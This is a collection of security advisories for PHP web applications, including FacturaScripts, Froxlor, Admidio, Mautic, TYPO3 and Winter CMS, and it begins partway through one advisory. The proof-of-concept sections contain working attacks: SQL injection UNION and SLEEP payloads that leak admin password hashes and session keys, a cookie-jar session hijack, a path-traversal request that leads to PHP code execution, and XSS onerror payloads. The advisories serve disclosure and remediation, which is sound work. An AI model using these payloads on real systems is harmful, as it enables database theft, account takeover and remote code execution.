`Core/Base/DataBase/DataBaseWhere.php` is marked `@deprecated` and the active code path runs through `Core/Where.php::multiSqlLegacy` (lines 151-199), which converts each legacy `DataBaseWhere` instance to a `Where`:

```php
if ($item instanceof DataBaseWhere) {
    $dbWhere = new self($item->fields, $item->value, $item->operator, $item->operation, $item->useField ?? false);
    ...
    $sql .= $dbWhere->sql();
    ...
}
```

`Where::sql()` (lines 316-403) finally calls `self::sqlColumn($field)` for the identifier in every operator branch, including the `=` branch the attacker reaches.

### `Where::sqlColumn` returns parenthesised inputs untouched

`Core/Where.php:407-425`:

```php
private static function sqlColumn(string $field): string
{
    // si lleva paréntesis, no escapamos
    if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
        return $field;                                   // (3) raw concatenation
    }

    // si empieza por integer, hacemos el cast
    if (substr($field, 0, 8) === 'integer:') {
        return self::db()->castInteger(substr($field, 8));
    }

    // si empieza por lower, hacemos el lower
    if (substr($field, 0, 6) === 'lower:') {
        return 'LOWER(' . self::db()->escapeColumn(substr($field, 6)) . ')';
    }

    return self::db()->escapeColumn($field);
}
```

The intent of the early-return appears to be supporting expression columns like `LOWER(col)` and `UPPER(col)` in `select`, `where`, and `groupBy` builder calls, but the check is purely string presence: any input containing **both** `(` and `)` is whitelisted, with no constraint on what the string actually is. The same exemption affects every consumer that routes through `Where::sqlColumn`, including `select()`, `whereLike()`, `whereIn()`, etc. (`Core/Where.php:317-405`).

### what an attacker submits

Reaching the sink requires the two characters `(` and `)` somewhere in the filter key. The attacker therefore passes:

```
filter[(0)UNION SELECT IFNULL(password,2),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 FROM users WHERE(nick='admin')-- ]=
```

URL encoded for HTTP transport:

```
filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=
```

The `clientes` table has 32 columns; the UNION mirrors that count so the database accepts the merged result set. The trailing `-- ` swallows the rest of the framework's appended SQL (`= '<value>' LIMIT 50 OFFSET 0`). The result is one record whose first column is the admin's password hash, returned in the JSON body's `cifnif` key (the first column in the original query's `SELECT *`).

### why the `getApiFieldsToHide()` defence does not apply

Commit `736b811` added `getApiFieldsToHide()` to the `User` model, which redacts `password`, `logkey`, and `two_factor_secret_key` from the JSON serialiser:

```php
public function getApiFieldsToHide(): array
{
    return ['password', 'logkey', 'two_factor_secret_key'];
}
```

This works for `GET /api/3/users` requests by a fullaccess token: the model loads, then `filterHidden()` removes the columns. The protection is bound to the **model class** that is being serialised. The SQL-injection path returns rows in the **`clientes`** model serialiser, so the leaked column lands in `cifnif` (or any other column the attacker chooses for the first UNION position) and is never put through `Cliente::getApiFieldsToHide()` (which does not include `password`/`logkey` because the `clientes` table has no such columns). The deny-list is irrelevant.

### why the `sort` (ORDER BY) hardening does not apply either

Commit `1b6cdfa` added strict regex validation to `DbQuery::orderBy` (`Core/DbQuery.php:289-307`), constraining parenthesised input to `RAND() | RANDOM() | LOWER(...) | UPPER(...) | CAST(... AS ...) | COALESCE(..., literal)`. That fix correctly walls off SQL injection in the `sort` parameter. It does not touch `Where::sqlColumn`, which retains the original string-presence exemption.

## PoC

Setup (one-time, by admin):

```bash
# Issue an ApiKey scoped to clientes GET only.
mysql -u fs -pfs facturascripts <<'SQL'
INSERT INTO api_keys (apikey, creationdate, description, enabled, fullaccess, nick)
  VALUES ('low-scoped-token-clientes-only', NOW(), 'scoped low-priv', 1, 0, 'lowpriv');
INSERT INTO api_access (idapikey, resource, allowget, allowpost, allowput, allowdelete)
  SELECT id, 'clientes', 1, 0, 0, 0 FROM api_keys WHERE apikey='low-scoped-token-clientes-only';
SQL
```

Confirm the scope is enforced for normal endpoints:

```
$ curl -s "http://127.0.0.1:8081/api/3/users" -H "Token: low-scoped-token-clientes-only"
{"status":"error","message":"forbidden"}
```

Step 1 - leak the admin password hash via the SQL-injection on `clientes`:

```
$ URL='http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ curl -s "$URL" -H "Token: low-scoped-token-clientes-only" | python3 -m json.tool | head -3
[
    {
        "cifnif": "$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO",
```

Step 2 - leak the admin's `logkey` (the value of the `fsLogkey` cookie that gates web sessions):

```
$ URL='http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28logkey%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ curl -s "$URL" -H "Token: low-scoped-token-clientes-only" | python3 -m json.tool | head -3
[
    {
        "cifnif": "HyZJB2eEyo5eC9Eyhn96qxbQkFDqHJss1d1lED0HEHE2ujoPPGRnUstsWd3kS25CieoLkHvsN4X1YGUt1iqXh1ZFMP0jgHFmeBW",
```

Step 3 - hijack the admin's web session by writing the leaked logkey into a cookie jar and hitting the admin-only plugin manager:

```
$ cat > /tmp/fs-hijack <<EOF
# Netscape HTTP Cookie File
127.0.0.1	FALSE	/	FALSE	0	fsNick	admin
127.0.0.1	FALSE	/	FALSE	0	fsLogkey	HyZJB2eEyo5eC9Eyhn96qxbQkFDqHJss1d1lED0HEHE2ujoPPGRnUstsWd3kS25CieoLkHvsN4X1YGUt1iqXh1ZFMP0jgHFmeBW
127.0.0.1	FALSE	/	FALSE	0	fsLang	en_EN
EOF
$ curl -s -b /tmp/fs-hijack "http://127.0.0.1:8081/AdminPlugins" -o /tmp/admin.html -w "%{http_code}\n"
200
$ grep -oE '<title>[^<]*</title>' /tmp/admin.html
<title>Plugins</title>
```

Time-based blind injection works just as well for environments without a UNION-friendly column count - the same parenthesis bypass admits arbitrary expressions:

```
$ curl -s "http://127.0.0.1:8081/api/3/clientes?filter%5B%28SELECT%28SLEEP%282%29%29%29%5D=zz" -H "Token: low-scoped-token-clientes-only"
[]
$ # observe two-second wall-clock delay; mysqld general log shows
$ #   SELECT COUNT(*) as _count FROM `clientes` WHERE (SELECT(SLEEP(2))) = 'zz' LIMIT 1 OFFSET 0
```

The `attachedfiles` route (`Core/Controller/ApiAttachedFiles.php`) is identically affected because it carries its own copy of `getWhereValues`:

```
$ URL='http://127.0.0.1:8081/api/3/attachedfiles?filter%5B%280%29UNION%20SELECT%20%221970-01-01%22%2CIFNULL%28password%2C2%29%2C3%2C4%2C5%2C6%2C7%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ curl -s "$URL" -H "Token: low-scoped-token-clientes-only" | python3 -m json.tool | head -3
[
    {
        "date": "01-01-1970",
        "filename": "$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO",
```

## Impact

* **Cross-resource confidentiality breach.** A token granted GET on a single low-value resource (e.g. `clientes` for an integration that imports customers) reads any column from any table in the schema, including `users.password`, `users.logkey`, `users.two_factor_secret_key`, `api_keys.apikey`, `emails_sent.body`, customer financial data, etc. `getApiFieldsToHide()` only protects the response serialiser of the requested model; UNION queries route the leaked data through other model serialisers and bypass the deny-list entirely.
* **Full admin takeover.** The leaked `logkey` is the value of the `fsLogkey` cookie that `Core/Base/Controller::privateCore` accepts as the session token (`User::verifyLogkey` is a plain string equality, `Core/Model/User.php:403-406`). Setting `fsNick=admin` and `fsLogkey=<leaked>` on any HTTP client returns 200 on every admin endpoint, including `/AdminPlugins` (install arbitrary plugin code), `/EditUser?code=admin` (rotate the admin password), `/EditEmpresa` (data-plane writes), `/Cron` (server-side code execution via cron job extension).
* **Stealthy.** Successful UNION queries do not produce `Tools::log()->error` entries (no SQL syntax error, no MariaDB warning); the framework only writes log rows on failed SQL. The attacker's queries leave no FacturaScripts log trail. The `api_keys` row is touched by the normal `updateActivity()` write the API does on every authenticated call, which looks identical to legitimate scoped-token usage.
* **Reachable from internet.** API access is on by default once the operator either sets `FS_API_KEY` or flips `Default -> Enable API` in the admin UI. The recommended deployment guidance for vendors integrating with FacturaScripts is to issue a scoped key, exactly the privilege level required for this exploit.
* **The same primitive lets an attacker rewrite data.** Because `(` `)` exemption is in `Where::sqlColumn` itself, write paths that build `WHERE` clauses from caller-controlled identifiers are equally exposed; the attacker can instead use `UPDATE ... WHERE` style payloads via stacked queries on engines that allow them, or use `SELECT ... INTO OUTFILE` on MySQL installations with `FILE` privilege to write a webshell into the docroot. The CVSS scoring already assumes integrity impact `H` for these reasons.

`AV:N` (network), `AC:L` (one HTTP GET, no oracle, no specific timing), `PR:L` (any non-`fullaccess` ApiKey with one allowed resource), `UI:N`, `S:C` (the vulnerable component is the API; the impact reaches the whole user database, web sessions, and authenticated control plane), `C:H I:H A:H`. Score `9.9`. The `S:C` (scope change) is appropriate because the privilege boundary the attacker crosses is the operator's intent of "this token can only read clientes", which the API contract explicitly enforces in its 403 response on `/users`. The leaked credential then gives them admin reach in a different security zone (the web UI session, the plugin manager).

## Recommended Fix

The bug is squarely in `Core/Where.php::sqlColumn`. The attacker-controlled-identifier path needs a strict allow-list, and the API ingress paths need their own field-name validator that mirrors the autocomplete hardening already in `Core/Lib/ExtendedController/BaseController::autocompleteAction` (commit `b8aa78b`).

1. **Replace the parenthesis presence test with a structural parser.** `Where::sqlColumn` should refuse anything that is not one of: a bare identifier (matching `^[a-zA-Z_][a-zA-Z0-9_]*(\.[a-zA-Z_][a-zA-Z0-9_]*)?$`), `LOWER(<ident>)`, `UPPER(<ident>)`, `CAST(<ident> AS <type>)`, or `COALESCE(<ident>, <literal>)`. The grammar already exists in `DbQuery::orderBy` (lines 289-307) and just needs to be reused. Anything else is escaped through `db()->escapeColumn()` (which already handles dotted identifiers correctly):

   ```php
   private static function sqlColumn(string $field): string
   {
       $field = trim($field);

       // bare identifier or table.column
       if (preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?$/', $field)) {
           return self::db()->escapeColumn($field);
       }

       // limited expression whitelist (mirrors DbQuery::orderBy)
       if (preg_match('/^(LOWER|UPPER)$([a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?)$$/i', $field, $m)) {
           return strtoupper($m[1]) . '(' . self::db()->escapeColumn($m[2]) . ')';
       }

       if (preg_match('/^CAST$([a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?) AS ([a-zA-Z0-9_ ]+)$$/i', $field, $m)) {
           return 'CAST(' . self::db()->escapeColumn($m[1]) . ' AS ' . $m[2] . ')';
       }

       // legacy prefixes
       if (str_starts_with($field, 'integer:')) {
           return self::db()->castInteger(substr($field, 8));
       }
       if (str_starts_with($field, 'lower:')) {
           return 'LOWER(' . self::db()->escapeColumn(substr($field, 6)) . ')';
       }
       if (str_starts_with($field, 'upper:')) {
           return 'UPPER(' . self::db()->escapeColumn(substr($field, 6)) . ')';
       }

       // refuse anything else
       throw new Exception('Invalid column expression: ' . $field);
   }
   ```

   The change is local; every call site in the framework already passes either a bare identifier or one of the supported expression prefixes. A grep for `'(...)'` style identifiers across the codebase shows zero hits in `Core/`.

2. **Validate filter keys at the API ingress.** Even after (1), the API `getWhereValues` should refuse identifiers that are not bare columns, mirroring `BaseController::autocompleteAction:258-261`:

   ```php
   foreach ($filter as $key => $value) {
       $field = $key;
       // strip operator suffixes (existing code) ...

       if (!preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?$/', $field)) {
           Tools::log('api')->warning('api: invalid filter field name: ' . $field);
           continue;                                            // skip the bad filter
       }

       // ... remaining code
   }
   ```

   Apply the same patch to `ApiAttachedFiles::getWhereValues:172-239`. This is defence-in-depth - the actual fix is (1) - but matches the project's existing hardening pattern from commit `b8aa78b`.

3. **Rotate session tokens on detected SQL injection attempts.** Once exploitation is detected (the new validator at (2) logs the attempt), the implementation should call `Cron::log` to throttle the originating IP and queue a rotation of `User::logkey` for any user whose `password` or `logkey` columns were potentially leaked. Operators that have shipped this version with API enabled should rotate every user's password and assume credentials in the database have been read.

A regression test should issue `GET /api/3/clientes?filter[(0)UNION SELECT 1,...]=x` with a scoped token and assert the response is an empty array (because the bad filter was discarded) and that `Tools::log('api')->read()` contains the new "invalid filter field name" warning.

An authenticated arbitrary file upload vulnerability in the /storage/poc.php component of Pagekit CMS v1.0.18 allows attackers to execute arbitrary code via uploading a crafted PHP file.

The project is archived as of December 1, 2023.

### Impact
SQL filtering vulnerability, a BO user can write, update and delete in the database, even without having specific rights.

### Patches
PrestaShop 8.0.4 and 1.7.8.9 will contain the patch.

### Workarounds
no

### References
no


### Summary
A path traversal vulnerability exists in the campaign import feature of Mautic 7. When extracting uploaded ZIP files during campaign imports, a flaw in the validation logic allows file paths to escape the intended temporary directories. 

### Impact
An authenticated user with campaign import privileges (`campaign:imports:create`) can write arbitrary PHP files to sensitive system directories. An attacker can exploit this to overwrite critical internal configuration or cache components, resulting in Remote Code Execution (RCE) under the context of the web server user.

### Patched Versions
This security issue has been addressed in the following release:
* **7.1.2**

*Note: Mautic 6.x, 5.x, and 4.x branches are not affected by this vulnerability. For general security support regarding legacy Mautic 4 releases, please refer to the [ELTS](https://mautic.org/extended-long-term-support-elts/) page.*

### Workarounds
There are no official workarounds. To mitigate this risk without upgrading, revoke campaign import permissions (`campaign:imports:create`) from non-administrative users.

RaspAP before 3.1.5 allows an attacker to escalate privileges: the www-data user has write access to the restapi.service file and also possesses Sudo privileges to execute several critical commands without a password.

Due to a missing file extension in the fileDenyPattern, backend user are allowed to upload *.pht files which can be executed in certain web server setups. The new default fileDenyPattern is the following, which might have been overridden in the TYPO3 Install Tool.
```
\.(php[3-7]?|phpsh|phtml|pht)(\..*)?$|^\.htaccess$
```

## Summary
### **Vulnerability: Stored DOM XSS via Blog Category Title (Persistent Payload Injection)**
- Stored Cross-Site Scripting via Unsanitized Blog Category Title in Blog Management

### Description
The application fails to properly sanitize user-controlled input when creating or editing blog categories. An attacker can inject a malicious JavaScript payload into the category title field, which is then stored server-side.

This stored payload is later rendered unsafely across public-facing blog category pages, administrative interfaces, and blog post views without proper output encoding, leading to stored cross-site scripting (XSS).

### Affected Functionality
- Blog category creation functionality
- Blog category editing functionality
- Blog category storage and retrieval logic

### Attack Scenario
- An attacker creates or edits a blog category title to include a malicious XSS payload.
- The application stores this value without sanitization or encoding.
- The payload persists and executes whenever the category title is rendered in affected views.

### Impact
- Persistent Stored XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation when viewed by administrators or privileged users
- Full administrator account takeover
- Full account takeover across all roles
- Full compromise of the entire application

Endpoints:
- `/backend/blogs/categories/`
- `/blog/{id}`

## Steps To Reproduce (POC)
1. Go to the Blog Categories management page
2. Create or edit a category and insert an XSS payload into the category title such as:
`<img src=x onerror=alert(document.domain)>`
3. Save the category
4. View a public blog category page, blog post page, or the administrative interface
5. Notice the XSS payload executing automatically

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.

# Ready Video POC:
https://mega.nz/file/GAFC3AJY#3LHyuyl7I7921UEeA-JlUYdckh6zGLCTy-6w9BNzSmQ

Applications using the "cookie" session driver that were also exposing an encryption oracle via their application were vulnerable to remote code execution. An encryption oracle is a mechanism where arbitrary user input is encrypted and the encrypted string is later displayed or exposed to the user. This combination of scenarios lets the user generate valid Laravel signed encryption strings for any plain-text string, thus allowing them to craft Laravel session payloads when an application is using the "cookie" driver.

PHP Remote File Inclusion in GitHub repository cockpit-hq/cockpit prior to 2.6.3. Users may upload php files through the system file upload utility to obtain remote code execution.

## Summary
### **Vulnerability: Stored DOM Blind XSS via Backup Management Filename (Persistent Payload Injection)**
- Stored Cross-Site Scripting (Blind XSS) via Unsanitized Backup Filename in Backup Management

### Description
The application fails to properly sanitize user-controlled input when handling backup uploads and processing backup metadata. An attacker can inject a malicious JavaScript payload into the backup filename via the uploaded `xss.sql`, which uses SQL functionality to insert the XSS payload server-side.

This stored payload is later rendered unsafely in multiple backup management views without proper output encoding, leading to stored blind cross-site scripting (Blind XSS).

### Affected Functionality
- Backup upload functionality
- Backup processing functionality
- Backup storage and retrieval logic

### Attack Scenario
- An attacker uploads `xss.sql` which uses SQL functionality to insert a malicious XSS payload into the backup filename field server-side.
- The application stores this filename without sanitization or encoding.
- The payload persists and executes whenever the backup filename is rendered in affected views.
- The attacker does not see immediate execution, making this a Blind XSS scenario that triggers only when an administrator or privileged user views the backup management panel.

### Impact
- Persistent Stored Blind XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation when viewed by administrators or privileged users
- Full administrator account takeover
- Full account takeover across all roles
- Full compromise of the entire application

Endpoints:
- `/backend/backup/upload`
- `/backend/backup/`
- `/backup/{id}`

## Steps To Reproduce (POC)
1. Upload `xss.sql` via the Backup Upload functionality
2. Ensure the SQL executes and inserts an XSS payload into the backup filename field such as:
`<img src=x onerror=alert(document.domain)>`
3. Navigate to the Backup Management panel as an administrator
4. View the backup entry via the administrative panel
5. Notice the XSS payload executing automatically (Blind XSS)

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.

# Ready Video POC:
https://mega.nz/file/eNFXgAAA#IETbPcKwr5vVLqJIAdc3uy4qgcVTgyPb_2HhB4zcwAE

## Impact
Affected versions of Winter CMS allowed authenticated backend users to escalate their accounts level of access to the system by modifying the roles / permissions assigned to their account through specially crafted requests to the backend while logged in.

To actively exploit this security issue, an attacker would need access to the Backend with a user account with any level of access.

The Winter CMS maintainers strongly recommend that all Winter CMS sites that have any reliance on the roles & permissions system to update immediately. Security fixes have been backported to all major versions of Winter (1.0, 1.1, and 1.2).

## Patches
Multiple fixes and defence in depth has been applied to prevent current and future privilege escalation attacks at the lowest level possible.

This security issue has been fixed as of https://wintercms.com/releases/v1.0.477, https://wintercms.com/releases/v1.1.12, https://wintercms.com/releases/v1.2.12.

## Workarounds
If you cannot upgrade, you may apply the changes from the releases to your Winter CMS installation manually to resolve this issue.

### Summary

A critical Stored Cross-Site Scripting (Stored XSS) vulnerability exists in the backend user management functionality. The application fails to properly sanitize user-controlled input before rendering it in the administrative interface, allowing attackers to inject persistent JavaScript code. This results in automatic execution whenever backend users access the affected page, enabling session hijacking, privilege escalation, and full administrative account compromise.

---

### Details

The vulnerability resides in the backend user creation feature accessible via:

```
/backend/users
```

User-supplied input in the **name** and **surname** fields is stored without proper validation or sanitization. When this data is later rendered in the backend users listing page, it is injected directly into the HTML without output encoding.

Because of this, attackers can embed malicious JavaScript payloads that execute in the context of authenticated backend users.

This indicates missing contextual output escaping (e.g., HTML encoding) and insufficient input sanitization, leading to persistent script execution.

The vulnerability is particularly severe because:

* The payload is stored in the database (persistent XSS).
* The script executes automatically on page load.
* The affected page appears to be an administrative/backend interface, increasing the risk of privilege escalation.

---

### PoC

Steps to reproduce:

1. Navigate to:

```
http://localhost:8080/backend/users
```

2. Click **Add New User**.

3. Create a new user.

4. In the **name** and **surname** fields, insert the following payload:

```
adnan"><img src=1 onerror=alert(document.cookie)><<e>img src=1 onerror=alert(document.cookie)>
```

5. Save the user.

6. After saving, a popup displaying cookies will appear, demonstrating JavaScript execution.

7. Revisit:

```
http://localhost:8080/backend/users
```

8. The popup automatically triggers again, confirming that the malicious script is stored and executed persistently.
<img width="1534" height="834" alt="image" src="https://github.com/user-attachments/assets/83f3d124-cf2e-472d-87cc-8c668ea81cba" />

---

### Impact

Severity: **Critical**

This vulnerability enables:

* Persistent execution of attacker-controlled JavaScript in privileged backend contexts.
* Theft of session cookies, potentially leading to full account takeover.
* Unauthorized actions performed on behalf of administrators (CSRF-like behavior via XSS).
* Privilege escalation if a high-privilege user views the page.
* Injection of keyloggers, credential harvesting scripts, or malicious redirects.
* Full compromise of backend administrative functionality depending on role permissions.

Since the payload executes automatically without user interaction once stored, exploitation requires minimal effort and can impact all backend users.

## Summary

The Froxlor API endpoint `Customers.update` (and `Admins.update`) does not validate the `def_language` parameter against the list of available language files. An authenticated customer can set `def_language` to a path traversal payload (e.g., `../../../../../var/customers/webs/customer1/evil`), which is stored in the database. On subsequent requests, `Language::loadLanguage()` constructs a file path using this value and executes it via `require`, achieving arbitrary PHP code execution as the web server user.

## Details

**Root cause:** The API and web UI have inconsistent validation for the `def_language` parameter.

The **web UI** (`customer_index.php:261`, `admin_index.php:265`) correctly validates `def_language` against `Language::getLanguages()`, which scans the `lng/` directory for actual language files:

```php
// customer_index.php:260-265
$def_language = Validate::validate(Request::post('def_language'), 'default language');
if (isset($languages[$def_language])) {
    Customers::getLocal($userinfo, [
        'id' => $userinfo['customerid'],
        'def_language' => $def_language
    ])->update();
```

The **API** (`Customers.php:1207`, `Admins.php:600`) only runs `Validate::validate()` with the default regex `/^[^\r\n\t\f\0]*$/D`, which permits path traversal sequences:

```php
// Customers.php:1167-1172 (customer branch)
} else {
    // allowed parameters
    $def_language = $this->getParam('def_language', true, $result['def_language']);
    ...
}
// Customers.php:1207 - validation (shared by admin and customer paths)
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);
```

The tainted value is stored in the `panel_customers` (or `panel_admins`) table. On every subsequent request, it is loaded and used in two paths:

**API path** (`ApiCommand.php:218-222`):
```php
private function initLang()
{
    Language::setLanguage(Settings::Get('panel.standardlanguage'));
    if ($this->getUserDetail('language') !== null && isset(Language::getLanguages()[$this->getUserDetail('language')])) {
        Language::setLanguage($this->getUserDetail('language'));
    } elseif ($this->getUserDetail('def_language') !== null) {
        Language::setLanguage($this->getUserDetail('def_language')); // No validation
    }
}
```

**Web path** (`init.php:180-185`):
```php
if (CurrentUser::hasSession()) {
    if (!empty(CurrentUser::getField('language')) && isset(Language::getLanguages()[CurrentUser::getField('language')])) {
        Language::setLanguage(CurrentUser::getField('language'));
    } else {
        Language::setLanguage(CurrentUser::getField('def_language')); // No validation
    }
}
```

The `language` session field is `null` for API requests and empty on fresh web logins, so both paths fall through to the unvalidated `def_language`.

**File inclusion** (`Language.php:89-98`):
```php
private static function loadLanguage($iso): array
{
    $languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
    if (!file_exists($languageFile)) {
        return [];
    }
    $lng = require $languageFile;  // Arbitrary PHP execution
```

With `$iso = '../../../../../var/customers/webs/customer1/evil'`, the path resolves to `/var/customers/webs/customer1/evil.lng.php`, escaping the `lng/` directory.

## PoC

**Step 1 — Upload malicious language file via FTP:**

Froxlor customers have FTP access to their web directory by default (`api_allowed` defaults to `1` in the schema).

```bash
# Create malicious .lng.php file
echo '<?php system("id > /tmp/pwned"); return [];' > evil.lng.php

# Upload to customer web directory via FTP
ftp panel.example.com
> put evil.lng.php
```

The file is now at `/var/customers/webs/<loginname>/evil.lng.php`.

**Step 2 — Set traversal payload via API:**

```bash
curl -s -X POST https://panel.example.com/api \
  -H 'Authorization: Basic <base64(apikey:apisecret)>' \
  -d '{"command":"Customers.update","params":{"def_language":"../../../../../var/customers/webs/customer1/evil"}}'
```

The traversal path is stored in the database. The `.lng.php` suffix is appended automatically by `Language::loadLanguage()`.

**Step 3 — Trigger inclusion on next API call:**

```bash
curl -s -X POST https://panel.example.com/api \
  -H 'Authorization: Basic <base64(apikey:apisecret)>' \
  -d '{"command":"Customers.get"}'
```

`ApiCommand::initLang()` loads `def_language` from the database and passes it to `Language::setLanguage()` → `loadLanguage()` → `require /var/customers/webs/customer1/evil.lng.php`.

**Step 4 — Verify execution:**

```bash
cat /tmp/pwned
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

## Impact

An authenticated customer can execute arbitrary PHP code as the web server user. This enables:

- **Full server compromise:** Read `lib/userdata.inc.php` to obtain database credentials, then access all customer data, admin credentials, and server configuration.
- **Lateral movement:** Access other customers' databases, email, and files from the shared hosting environment.
- **Persistent backdoor:** Modify Froxlor source files or cron configurations to maintain access.
- **Data exfiltration:** Read all hosted databases and email content across the panel.

The attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (`api_allowed` = 1). The `.lng.php` suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory.

## Recommended Fix

Validate `def_language` against the actual language file list in the API endpoints, matching the web UI behavior:

```php
// In Customers.php, replace line 1207:
// $def_language = Validate::validate($def_language, 'default language', '', '', [], true);

// With:
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);
if (!empty($def_language) && !isset(Language::getLanguages()[$def_language])) {
    $def_language = Settings::Get('panel.standardlanguage');
}
```

Apply the same fix in `Admins.php` at line 600.

Additionally, add a defensive check in `Language::loadLanguage()` to prevent path traversal:

```php
private static function loadLanguage($iso): array
{
    // Reject path traversal attempts
    if ($iso !== basename($iso) || str_contains($iso, '..')) {
        return [];
    }
    $languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
    // ...
}
```

Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.

### Description:
An SQL Injection has been identified in the `/adm_program/modules/ecards/ecard_send.php` source file of the Admidio Application. The SQL Injection results in a compromise of the application's database. The value of `ecard_recipients `POST parameter is being directly concatenated with the SQL query in the source code causing the SQL Injection.

The SQL Injection can be exploited by a member user, using blind condition-based, time-based, and Out of band interaction SQL Injection payloads. I successfully exploited SQL Injections by causing Time Delays. Advancing the payload, I was able to exfiltrate data from the database based on trial and error conditions and step-wise enumerating the characters of the database name. This was done as a POC of SQL Injection. An attacker could simply drop the database by providing a single payload, steal data, and potentially update the database according to their will. 

### Impact:
SQL injection (SQLi) vulnerabilities can have serious consequences for the security of a web application and its underlying database. Attackers can use SQLi to access sensitive data, and modify, delete, or add data to the database. SQLi can also be potentially used to perform RCE. 

### Remediation:
Use parameterized queries or prepared statements instead of concatenating user input directly into SQL queries. Parameterized queries ensure that user input is treated as data and not executable queries. 
OR 
Sanitize the input before including it in the SQL Query.

### Steps to Reproduce:
- Intercept the POST request to `/adm_program/modules/ecards/ecard_send.php`, which is used to send photo as greeting card.
- Change the value of `ecard_recipients%5B%5D` POST parameter to `2%2bsleep(10)`.
- Sending the request will cause a time delay.

### Proof Of Concept:

![image](https://github.com/Admidio/admidio/assets/59286712/8ea87f4f-dad0-4df1-999d-212b07e02527)
Figure 1: Code Vulnerable to SQL Injection

![image](https://github.com/Admidio/admidio/assets/59286712/d803a92c-3469-45aa-a844-e8aa311b55f4)
Figure 2: Code Vulnerable to SQL Injection

![image](https://github.com/Admidio/admidio/assets/59286712/2ccdf865-2867-4dc8-abe1-f25b5e906db3)
Figure 3: SQLi to trigger time delay

![image](https://github.com/Admidio/admidio/assets/59286712/eed06ce6-6591-427f-b98e-5314233b5996)
Figure 4: Data Exfiltration via Condition-based Time Delays

### Summary
The use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account.

### Details
Firstly, the salt used to hash the password reset key is hard-coded in the `includes/services/UserManager.php` file at line `36` :

```php
private const PW_SALT = 'FBcA';
```

